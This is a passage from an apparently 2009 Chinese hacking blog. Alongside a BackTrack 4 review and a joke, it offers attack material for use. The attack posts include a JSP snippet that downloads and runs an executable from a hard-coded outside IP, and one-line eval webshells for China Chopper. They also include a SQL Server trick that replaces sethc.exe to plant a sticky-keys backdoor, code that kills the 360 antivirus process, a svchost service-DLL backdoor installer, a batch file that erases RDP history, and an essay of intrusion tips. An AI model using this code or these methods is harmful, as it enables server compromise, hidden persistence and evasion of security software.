BT4 pre final 试用随笔

2009年6月25日 没有评论 1,039 views

BT4 pre final 试用随笔

BT4 pre final以超大的体积1.3G亮相,估计让很多人都吃惊!核心架构,运行方法和操作方式完全和
ubuntu靠拢。拥有自行维护的软件仓库,也可以使用ubuntu源的软件仓库,开发团队也不再推荐用
光盘live cd的形式来运行BT4 pre final,鼓励大家把BackTrack当成一个真正的linux发行版本,
真正安装到硬盘上作为一个桌面系统来使用,而不是仅仅局限于使用里面的网络安全工具软件。
至少,也要用U盘来运行,这样也可以保存系统的更新和改动的数据。

BT4 pre final放弃了lzma,也放弃了slax最为骄傲的加载模块的方式--lzm文件包,这对live cd的使用影响是巨
大的,无法方便地加载模块了!对linux老手来说,这并没有什么困难。但对很多linux新手来说,要从把lzm包
简单拷贝到modules目录下的习惯转变到使用apt-get和deb包的安装,则是一个稍微有点儿痛苦的过程。想要
方便的加载驱动模块就不是那么轻松的事情了。

BT4 pre final转向了apt-get在线更新系统和软件的方式,如果单独安装deb包,只能使用dpkg的命令方式,
而没有集成dpkg的图形界面gdebi。当然这些都可以从ubuntu众多的教程中找到解决方法。
BT4 pre final核心架构变化的最大好处就是大量的ubuntu资源和方法可以利用。

下面来说说无线网卡的驱动问题:
1.没有集成瑞银最新的firmware文件,使得部分版本的瑞银无法正常抓包注入,连wl5061s也要假死。
2.集成了rt3070L、rt2070L的驱动,但没有集成firmware文件,需要自行拷贝firmware文件,
才可以正常联网,当然,这个驱动是不支持抓包注入的ralink官方驱动。
3.支持水星MW54U,也就是可以直接支持tp-link wn322g+(zd1211b+uw2453).

下面是一些使用情况:
1.进入BT4 pre final的live CD,不用输入帐户密码,缺省以root登录,startx进入到KDE图形桌面。
2.由wlanbbs的summerlucky制作的BT4 beta中使用的中文包,转化为deb包安装后,在bt4 pre final中
可以使用,中文显示正常,只是小企鹅输入法 fcitx不能使用,似乎是找不到字库,可能需要设置。

本论坛中发布的BT4 beta的中文包,也可以在BT4 pre final中使用,但也是输入法不能使用。
当然apt-get来安装中文包是标准的做法。
3.spoonwep2也可正常在BT4 pre final中使用,不存在bt4 beta中的问题。
4.可以用grub在硬盘上以live CD的方式启动运行BT4 pre final,进入系统后,bt4映像文件所在的分区识别为cdrom,不可写。
5.集成了wicd网络设置配置工具,取代了ubuntu和BT4 beta中使用的NetworkManager.
6.BT4 pre final集成的网络安全工具软件同以前版本一样的丰富,毋庸置疑,功能是强大的,你需要的不需要的都会在里面找到。

结束语
1.如果仅仅是获取无线路由的密码,没有必要使用BT4 pre final。
2.最好把BT4 pre final真正安装到硬盘使用,使用U盘可保存更新和数据变化的live cd方式运行,
也是很好的方法。
3.BT4 pre final可以用ubunut intrepid源的软件包,那么ubuntu 肯定也以用BT4 pre final源中的软件包。
玩ubuntu的朋友可以测试一下是否可行。

分类: 技术文章 标签:

批处理清除3389远程桌面连接记录

2009年6月25日 没有评论 435 views

@echo off
@reg delete "HKEY_CURRENT_USER\Software\Microsoft\Terminal Server Client\Default" /va /f
@del "%USERPROFILE%\My Documents\Default.rdp" /a
@exit

/va 删除项下面所有键值

/f不提示

/a 删除隐藏文件

保存为批处理。运行即可。

分类: 技术文章 标签: , ,

JSP下载并执行代码

2009年6月25日 没有评论 73 views

代码如下:

<%@ page import="java.io.*, java.net.*" %>    
<%     
try {    
    //String exe = request.getParameter("exe");    
    String urlname = "http://58.103.196.210:8080/webdav/ip.exe";    
    URL url = new URL(urlname);    
    URLConnection conn = url.openConnection();    
    String filename = new String("caa.exe");    
    FileOutputStream outf = new FileOutputStream(filename);    
    conn.setDoInput(true);    
    InputStream inStream = conn.getInputStream();    
    BufferedInputStream input = new BufferedInputStream(inStream);    
    byte[] b = new byte[1024];    
    int a = 0;    
    while((a = input.read(b,0,b.length)) != -1){    
        outf.write(b,0,a);    
    }    
    outf.flush();    
    input.close();    
    outf.close();    
   
    //run the exe    
    Process child = Runtime.getRuntime().exec(filename);    
}    
    catch (IOException e){     
    System.err.println(e);     
}     
%>   

分类: 技术文章 标签:

sa权限下无xp_cmdshell下取权限又一简单方法

2009年6月25日 没有评论 285 views

有了sa但无xp_cmdshell ,怎么恢复都提示出错。好象是xxxx.cpp哪里哪里出错。或者找不到指定模块,反正我遇到好多次了。在用exec sp_oacreate 'wscript.shell'也没办法的情况下。。可用此方法
(很多服务器都把'wscript.shell'给删了。)
看到既然能用sp_oacreate,sp_oamethod来弄'wscript.shell'或者scripting.filesystemobject
网上看到的文章都只有几个用法就是'wscript.shell'执行命令或者scripting.filesystemobject来写入木马或读取文件。于是乎应该可以也能复制,删除文件吧。。
上网找了些资料,得到下面方法:
复制文件:

declare @o int
exec sp_oacreate 'scripting.filesystemobject', @o out
exec sp_oamethod @o, 'copyfile',null,'c:\windows\explorer.exe' ,'c:\windows\system32\sethc.exe';

declare @oo int
exec sp_oacreate 'scripting.filesystemobject', @oo out
exec sp_oamethod @oo, 'copyfile',null,'c:\windows\system32\sethc.exe' ,'c:\windows\system32\dllcache\sethc.exe';

成功后3389登陆按五次shift键。成功进入服务器。一直向上点"我的电脑"右键"管理" 用户管理直接加用户。
此法随无技术可言,希望对某些人有点用。

分类: 技术文章 标签:

[转]年终了,谈点个人入侵的经验

2009年6月25日 没有评论 69 views

这一年变化比较大,换了好几个工作,最终还是回到了安全的岗位,合乎自己的职业规划!

平时空闲时间经常找些站练练手,基本是新闻闹出轰动的站与一些知名的大站。2008年的成果还是颇丰的,从某某国内2大知名社区论坛到某某著名交友站到某某2大读书站到某某mobile到某某政府站等大站,再到若干名不见经传的小站,都闪过的我的影踪。但我个人觉得没什么好炫耀的,于是没替换首页,没留下黑页,顶多是把源代码打包带回家(硬盘吃不消了,准备买个大的移动硬)。说句老实话,随便替换一个首页,就能让我出名,比如某某禁止降价的房产局站(服务器有黄片),比如某某闹禽流感的政府站,我都提前几天拿下了;不过我不想出名,更不想进局子~

下面谈谈个人入侵的经验,不分语言,只谈拿webshell,至于提权,这里不说,我也很少提权,除非确实有必要!~

1.无论什么站,无论什么语言,我要渗透,第一件事就是扫目录,最好一下扫出个上传点,直接上传shell,诸位不要笑,有时候你花很久搞一个站,最后发现有个现成的上传点,而且很容易猜到,不过这种情况发生在asp居多!

2.asp(aspx)+MSSQL先考虑注入,一般的注入都有DBowner权限可以直接写shell;如果写不了,或者web与数据库分离,那就猜数据,从后台下手了,后台可以上传或者改配置文件;

3.asp(aspx)+ACCESS拿shell一般只有3种方法,一是前台上传或者注入进后台上传;二是注入进后台改配置文件;三是注入进后台备份数据库或者暴库后知道是asp或者asa数据库于是直接写一句话;

4.php+MYSQL一般是注入进后台上传,偶尔运气好些权限够高可以注入select into outfile;然后包含,分本地与远程,远程包含在高版本php是不支持的,于是想办法本地上传图片文件或者写到log里;然后php程序某某未公开的漏洞,运气好可以直接写shell。

5.jsp+MYSQL利用数据库拿权限方面基本同php,而且jsp的上传基本很少检查文件后缀,于是只要有注入点与后台,拿shell相当的容易。jsp+ORACLE的站我碰到的不多,碰到的也是猜出用户名与密码从后台下手的。

6.无论什么大站,主站一般都很安全(不然早被人玩了),于是一般从二级域名下手,猜出主站的某些用户名与密码或者搞到主站的源代码,或者旁注得到同网段服务器后cain或arp。

7.一般的大站很少有用现成的CMS的,于是如果你有幸找到源码,那你就发了,注入漏洞啊,上传漏洞啊,写文件漏洞啊,都掌握在你手里。多看看那些大站新出来的测试分站点,那些站还在测试中,可以很轻松拿下。

8.上传有个文件名截断,这包括2个方面,一是00截断,二是长文件名截断(曾经利用这个搞下hw);然后很多写文件的地方,都可以00,屡试不爽。上传别忘了.asp(当然.asa,.cer,.cdx都可以啦)目录的妙用。

9.php站无论windows还是linux,都有magic_quotes_gpc的问题,magic_quotes_gpc为on的时候,在server变量注入的时候还是可以select into outfile,今年我搞过某未开源cms就是这个情况,一般情况下为on就别考虑写文件了,不过有这个权限别忘了读文件源码,因为load_file的参数是可以编码的。

10.猜路径或者文件在入侵中非常必要,猜不到路径的时候别忘了google(baidu太烂,google很全),于是你可以考虑看站点下的robot.txt或者robots.txt,会有惊喜。

11.工具的使用很重要,入侵之前用WVS扫扫会有助入侵;注入工具虽然很多,但不见得都好使,现在的软硬防火墙、防注入越来越厉害,那时候你就别偷懒,多手工有助你成长。

12.遇到过一流监控么,遇到其他防post的防火墙么,有时候一句话进去了都无法传大马,那时候,你先学学编码,学学变换绕过。

13.想搞一般的小站,记得查看这个小站的版权,找做这个站的公司,然后从这个公司做的其他站下手,得到源码再回头搞,我曾经通过这个方法拿下某知名制药的公司站。

14.旁注的思路永远不过时,遇到dbowner的注入,可以很舒服写shell到你需要的站,省得麻烦的提权了;运气不好,按部就班拿shell提权得到你所需。

15.永远别忘记社会工程学,利用社工把自己当成一个什么也不会的人,从某某站长的qq,身份证,邮箱等等下手,也许有时可能会有意外;另外别忘记admin,admin;test,test;123456,123456这种简单的尝试,当然,你也可以暴力破解。

16.别忽视XSS,别忽视cookie,XSS可以偷cookie,更有若干妙用,自己学会领悟;cookie可以伪造登陆,cookie可以注入,cookie注入可以绕绝大多数的防火墙。

17.平时搞站多多搜集路径啊,源码啊,工具啊,充实自己的“武器”库;最好把自己的入侵步骤记录下来,或者事后反思下,我一般都是记在txt里,另外要做到举一反三。

18.多学习,多看源码,多看公布出来的0day,脚本是入侵的前提,而不是工具,会用工具会装B你还没入门。

最后奉劝诸位有事没事改人家首页的装B者,出来混,迟早是要还的,别等进了局子再后悔。还有一点,就是我搞N多站,没挂过一个马,至于很多挂马的人,我不知道该说什么,因为大家都喜欢钱,但是还是少为之吧。

今天心头一热,把一些还记得的心得写出来了,希望大家别拍砖,入侵的时候思路是很灵活的,只要不死板,总有一条使自己成功的路。如果大家有什么不解或者疑问需要讨论,欢迎来http://www.oldjun.com讨论或者加我QQ。

还有不要抱着功利心去拿站,做安全的人靠不断拿站提升自己的技术与经验,也可以把自己的产品做的更好;若是急功近利或者为了什么利益,会...哎,不知道该怎么说...世人不知有因果,因果何曾饶过谁!

祝大家元旦快乐!

原文地址:http://www.oldjun.com/blog/index.php/archives/36/

分类: 技术文章 标签:

搜索引擎蜘蛛名字大全.Spider

2009年6月25日 没有评论 156 views

google蜘蛛: Googlebot
百度蜘蛛:baiduspider
yahoo蜘蛛:slurp
alexa蜘蛛:ia_archiver
msn蜘蛛:Msnbot
altavista蜘蛛:scooter
lycos蜘蛛: Lycos_Spider_(T-Rex)
alltheweb蜘蛛: FAST-WebCrawler
inktomi蜘蛛: Slurp

分类: 技术文章 标签:

中国菜刀测试版

2009年6月25日 没有评论 137 views

欢迎测试,并给作者发布测试报告-------------

下载地址:http://www.gxgl.com/?did=2

------------------更新历史----------------------------
2009-6-22
PHP脚本中加了MYSQL操作功能,数据库结构以树型显示。
同时,配置列开始使用,并更新了数据库的表结构,测试时请重新输入数据。


2009-6-20
更新了虚拟终端中的一个小BUG

2009-6-19
修正了虚拟终端中WINDOWS系统目录切换的一个小BUG,非WINDOWS系统目录输入的一个BUG。
修正了编码切换的一些BUG
加入检查更新功能。

2009-6-18
实现虚拟终端,熟悉的操作方式。
错误提示等信息也一样可以显示,这是一个改进。
虚拟终端中加入终端基本信息获取,判断系统类型,当前目录,并动态改变命令提示
虚拟终端中加入模拟本地终端CD切换目录功能

2009-6-17
开始设计虚拟终端的界面。

2009-6-14
加入WGET功能。
左侧栏外观改动。

2009-6-13
修复删除目录后树型列表中目录未删除的BUG
优化数据编码算法,使处理速度明显提高。
添加新建目录功能

2009-6-12
加入复制粘贴功能。

2009-6-11
添加了ASP.NET的EVAL客户端目录浏览,文件显示,编辑,删除,下载,上传功能。

2009-6-9
添加配置文件,数据库新增一个配置表。
解决IIS6下不能下载大于4M文件的限制
进程互斥。
上传下载显示连接速度
修正了标签栏的一些切换错误,并使操作上更人性化了一些。

2009-6-8
添加了PHP的上传功能,转成文本再上传,到服务器再合成文件。
对日文网站在浏览目录时路径的进行特殊处理。
添加了ASP的上传功能,解决了不能上传超过200K文件的限制。

2009-6-6
调整中……
添加入下载功能,修正了以往下载的一些错误。

2009-6-5
修改了UTF8切换的一些乱码问题。

2009-6-3
标签栏颜色修改。
注意:每个地址添加编辑时要求选择正确的脚本类型和编码

完善文件保存/删除/目录删除。
增加了一些错误提示
增加了编码切换功能。

---------------------------------------------------------
服务端代码:
PHP:

<?php @eval($_POST['pass']);?>

ASP:

<%eval request("pass")%>

ASP.NET(注意要单独一个文件或此文件也是Jscript语言):

<%@ Page Language="Jscript"%><%eval(Request.Item["c"],"unsafe");%>

--------------------------------------------------------
支持HTTPS访问(对于需要独立证书的网站不支持。)

目录浏览加入了缓存。
支持俄,韩,日,繁,越南,泰,UTF-8等编码显示输入。
EVAL客户端将只是菜刀的一个功能,其它功能会陆续加入。

分类: 资源共享 标签:

开3389的VBS

2009年6月25日 没有评论 244 views

开3389的VBS:

on error resume next
const HKEY_LOCAL_MACHINE = &H80000002
strComputer = "."
Set StdOut = WScript.StdOut
Set oReg=GetObject("winmgmts:{impersonationLevel=impersonate}!\\" &_
strComputer & "\root\default:StdRegProv")
strKeyPath = "SYSTEM\CurrentControlSet\Control\Terminal Server"
oReg.CreateKey HKEY_LOCAL_MACHINE,strKeyPath
strKeyPath = "SYSTEM\CurrentControlSet\Control\Terminal Server\Wds\rdpwd\Tds\tcp"
oReg.CreateKey HKEY_LOCAL_MACHINE,strKeyPath
strKeyPath = "SYSTEM\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp"
strKeyPath = "SYSTEM\CurrentControlSet\Control\Terminal Server"
strValueName = "fDenyTSConnections"
dwValue = 0
oReg.SetDWORDValue HKEY_LOCAL_MACHINE,strKeyPath,strValueName,dwValue
strKeyPath = "SYSTEM\CurrentControlSet\Control\Terminal Server\Wds\rdpwd\Tds\tcp"
strValueName = "PortNumber"
dwValue = 3389
oReg.SetDWORDValue HKEY_LOCAL_MACHINE,strKeyPath,strValueName,dwValue
strKeyPath = "SYSTEM\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp"
strValueName = "PortNumber"
dwValue = 3389
oReg.SetDWORDValue HKEY_LOCAL_MACHINE,strKeyPath,strValueName,dwValue

分类: 技术文章 标签: ,

两句代码使卡巴、360自动退出

2009年6月25日 没有评论 114 views

两句代码使卡巴、360自动退出

  Private Declare Function ExitWindowsEx Lib "user32" (ByVal uFlags As Long, ByVal dwReserved As Long) As Long

  Private Sub Command1_Click()

  ExitWindowsEx 0, 0 '通过注销系统让反病毒软件自动退出

  End Sub

  Private Sub Form_QueryUnload(Cancel As Integer, UnloadMode As Integer)

  If UnloadMode = 2 Then Cancel = True

  End Sub


分类: 技术文章 标签:

Kill 360Safe 完整版(VC版)

2009年6月25日 没有评论 261 views

Kill 360Safe 完整版(VC版)
复制内容到剪贴板代码:

#include <windows.h>
#include <stdio.h>
#include <tlhelp32.h>

unsigned long getprocid(char *pn)
{
    BOOL b;
    HANDLE hnd;
    PROCESSENTRY32 pe;

    hnd=CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS,0);

    pe.dwSize=sizeof(pe);
    b=Process32First(hnd,&pe);
    while(b)
    {
        if(strcmp(pn,pe.szExeFile)==0)return pe.th32ProcessID;
        b=Process32Next(hnd,&pe);
    }

    return 0;
}

int main()
{
        HMODULE hNTDLL   =   GetModuleHandle("ntdll.dll");
        void (WINAPI *ZwDuplicateObject) (DWORD,HANDLE,DWORD,PHANDLE,unsigned long,unsigned long,unsigned long);
        (FARPROC&)ZwDuplicateObject= GetProcAddress(hNTDLL,"ZwDuplicateObject");

        DWORD pid=0;
        pid=getprocid("safeboxTray.exe");
        if(pid==0)
        {
                printf("找不到360保险箱的进程ID");
        }
        HANDLE ProcessHandle=OpenProcess(PROCESS_DUP_HANDLE,FALSE,pid);
        if(ProcessHandle != NULL)
        {
                ZwDuplicateObject(-1,ProcessHandle,-1,&ProcessHandle,2035711,0,1);
                TerminateProcess(ProcessHandle,0);
                printf("我走了,毒来吧\n");
                return 1;
        }
        printf("升级了\n");
        return 0;
}

分类: 技术文章 标签: ,

svchost.exe启动

2009年6月25日 没有评论 92 views

// autorun.cpp : Defines the entry point for the DLL application.
//

#include "stdafx.h"
#include <windows.h>
#include <stdio.h>
#include <stdlib.h>

SERVICE_STATUS        ServiceStatus;
SERVICE_STATUS_HANDLE ServiceStatusHandle;
DWORD WINAPI CmdService(LPVOID lpParam)
{
//...............后门代码
return 0;
}

//服务控制函数
void WINAPI ServiceControl(DWORD dwCode)
{
    switch(dwCode)
    {
//暂停服务
    case SERVICE_CONTROL_PAUSE:
        ServiceStatus.dwCurrentState = SERVICE_PAUSED;
        break;
//继续执行服务
    case SERVICE_CONTROL_CONTINUE:
        ServiceStatus.dwCurrentState = SERVICE_RUNNING;
        break;
    //停止服务
    case SERVICE_CONTROL_STOP:     
        ServiceStatus.dwCurrentState = SERVICE_STOPPED;
        ServiceStatus.dwWin32ExitCode = 0;
        ServiceStatus.dwCheckPoint    = 0;
        ServiceStatus.dwWaitHint      = 0;
   //设置服务状态
        if(SetServiceStatus(ServiceStatusHandle,&ServiceStatus)==0)
        {
            OutputDebugString("SetServiceStatus Error !\n");
        }
        return ;
    case SERVICE_CONTROL_INTERROGATE:
        break;
    default:
        break;
    }
    if(SetServiceStatus(ServiceStatusHandle,&ServiceStatus)==0)
    {
        OutputDebugString("SetServiceStatus Error !\n");
    }
    return ;
}

//服务函数
void __stdcall ServiceMain(int argc, wchar_t* argv[] )
{
HANDLE    hThread;
    ServiceStatus.dwServiceType             = SERVICE_WIN32;
    ServiceStatus.dwCurrentState            = SERVICE_START_PENDING;
    ServiceStatus.dwControlsAccepted        = SERVICE_ACCEPT_STOP
                                            | SERVICE_ACCEPT_PAUSE_CONTINUE;
    ServiceStatus.dwServiceSpecificExitCode = 0;
    ServiceStatus.dwWin32ExitCode           = 0;
    ServiceStatus.dwCheckPoint              = 0;
    ServiceStatus.dwWaitHint                = 0;
    //得到服务进程名
char svcname[256];
    strncpy(svcname, (char*)argv[0], sizeof(svcname));
    wcstombs(svcname, argv[0], sizeof(svcname));
//注册服务控制函数
    ServiceStatusHandle=RegisterServiceCtrlHandler(svcname,ServiceControl);
    if(ServiceStatusHandle==0)
    {
        OutputDebugString("RegisterServiceCtrlHandler Error !\n");
        return ;
    }
    ServiceStatus.dwCurrentState = SERVICE_RUNNING;
    ServiceStatus.dwCheckPoint   = 0;
    ServiceStatus.dwWaitHint     = 0;
    //设置服务为运行状态
    if(SetServiceStatus(ServiceStatusHandle,&ServiceStatus)==0)
    {
        OutputDebugString("SetServiceStatus Error !\n");
        return ;
    }
    //启动后门线程
    hThread=CreateThread(NULL,0,CmdService,NULL,0,NULL);
    if(hThread==NULL)
    {
        OutputDebugString("CreateThread Error !\n");
    }

    return ;
}
//修改字符串类型键值
void CreateStringReg(HKEY hRoot,char *szSubKey,char* ValueName,char *Data)
{
HKEY hKey;
//打开注册表键,不存在则创建它
long lRet=RegCreateKeyEx(hRoot,szSubKey,0,NULL,REG_OPTION_NON_VOLATILE,KEY_ALL_ACCESS,NULL,&hKey,NULL);
    if (lRet!=ERROR_SUCCESS)
{
   printf("error no RegCreateKeyEx %s\n", szSubKey);
   return ;
}
//修改注册表键值,没有则创建它
lRet=RegSetValueEx(hKey,ValueName,0,REG_EXPAND_SZ,(BYTE*)Data,strlen(Data));
if (lRet!=ERROR_SUCCESS)
{
   printf("error no RegSetValueEx %s\n", ValueName);
   return ;
}
RegCloseKey(hKey);
}

//用于修改数字类型键值
void CreateDWORDReg(HKEY hRoot,char *szSubKey,char* ValueName,DWORD Data)
{
HKEY hKey;
//打开注册表键,不存在则创建它
long lRet=RegCreateKeyEx(hRoot,szSubKey,0,NULL,REG_OPTION_NON_VOLATILE,KEY_ALL_ACCESS,NULL,&hKey,NULL);
    if (lRet!=ERROR_SUCCESS)
{
   printf("error no RegCreateKeyEx %s\n", szSubKey);
   return ;
}
DWORD dwSize=sizeof(DWORD);
//修改注册表键值,没有则创建它
lRet=RegSetValueEx(hKey,ValueName,0,REG_DWORD,(BYTE*)&Data,dwSize);
if (lRet!=ERROR_SUCCESS)
{
   printf("error no RegSetValueEx %s\n", ValueName);
   return ;
}
RegCloseKey(hKey);
}

//安装后门
int Install()
{
char NewDll[512];
//得到系统目录
GetSystemDirectory(NewDll,sizeof(NewDll));
strcat(NewDll,"\\autorun.dll");
//替换dll
CreateStringReg(HKEY_LOCAL_MACHINE,"SYSTEM\\CurrentControlSet\\Services\\helpsvc\\Parameters","ServiceDll",NewDll);
//设置为自动启动
CreateDWORDReg(HKEY_LOCAL_MACHINE,"SYSTEM\\CurrentControlSet\\Services\\helpsvc","Start",2);
return&nb
sp;0;
}

//卸载后门
int Remove()
{
SC_HANDLE        schSCManager;
    SC_HANDLE        schService;
SERVICE_STATUS NServiceStatus;
//打开服务控制管理器数据库
schSCManager=OpenSCManager(NULL,NULL,SC_MANAGER_ALL_ACCESS);
if(schSCManager==NULL)
{
   OutputDebugString("OpenSCManager error \n");
   return 0;
}
//打开helpsvc服务
schService=OpenService(schSCManager,"helpsvc",SERVICE_ALL_ACCESS);
if(schService==NULL)
{
        OutputDebugString("OpenService error \n");
   return 0;
}
//查看服务运行状况
QueryServiceStatus(schService,&NServiceStatus);
//假如处于运行状态则,停止该服务
if(NServiceStatus.dwCurrentState==SERVICE_RUNNING)
{
   ControlService(schService,SERVICE_CONTROL_STOP,&NServiceStatus);
}
//还原ServiceDll键值
char *OldDll="%WINDIR%\\PCHealth\\HelpCtr\\Binaries\\pchsvc.dll";
CreateStringReg(HKEY_LOCAL_MACHINE,"SYSTEM\\CurrentControlSet\\Services\\helpsvc\\Parameters","ServiceDll",OldDll);
return 0;
}

BOOL APIENTRY DllMain( HANDLE hModule,
       DWORD ul_reason_for_call,
       LPVOID lpReserved
       )
{
switch (ul_reason_for_call)
    {
   //当动态链接库将要被卸载时,停止服务
    case DLL_PROCESS_DETACH:
   {
   ServiceControl(SERVICE_CONTROL_STOP);
        break;
   }
default:
   break;
}
    return TRUE;
}

分类: 技术文章 标签:

华为工程师很愤怒!

2009年6月25日 没有评论 81 views

最近到处流传着一个这样的神话:“因被绿坝-花季护航软件屏蔽,华为官网产品介绍中产品名称“24口交换机”被迫修改成“24嘴交换机”,华为工程师对记者表示:他妈的太操蛋了。”

不知道我们部门的KJ同学,论坛还能登陆上去么?香港的黄日华同学,是否还能进入大陆?不过幸运的是曹操同志,他死得比较早。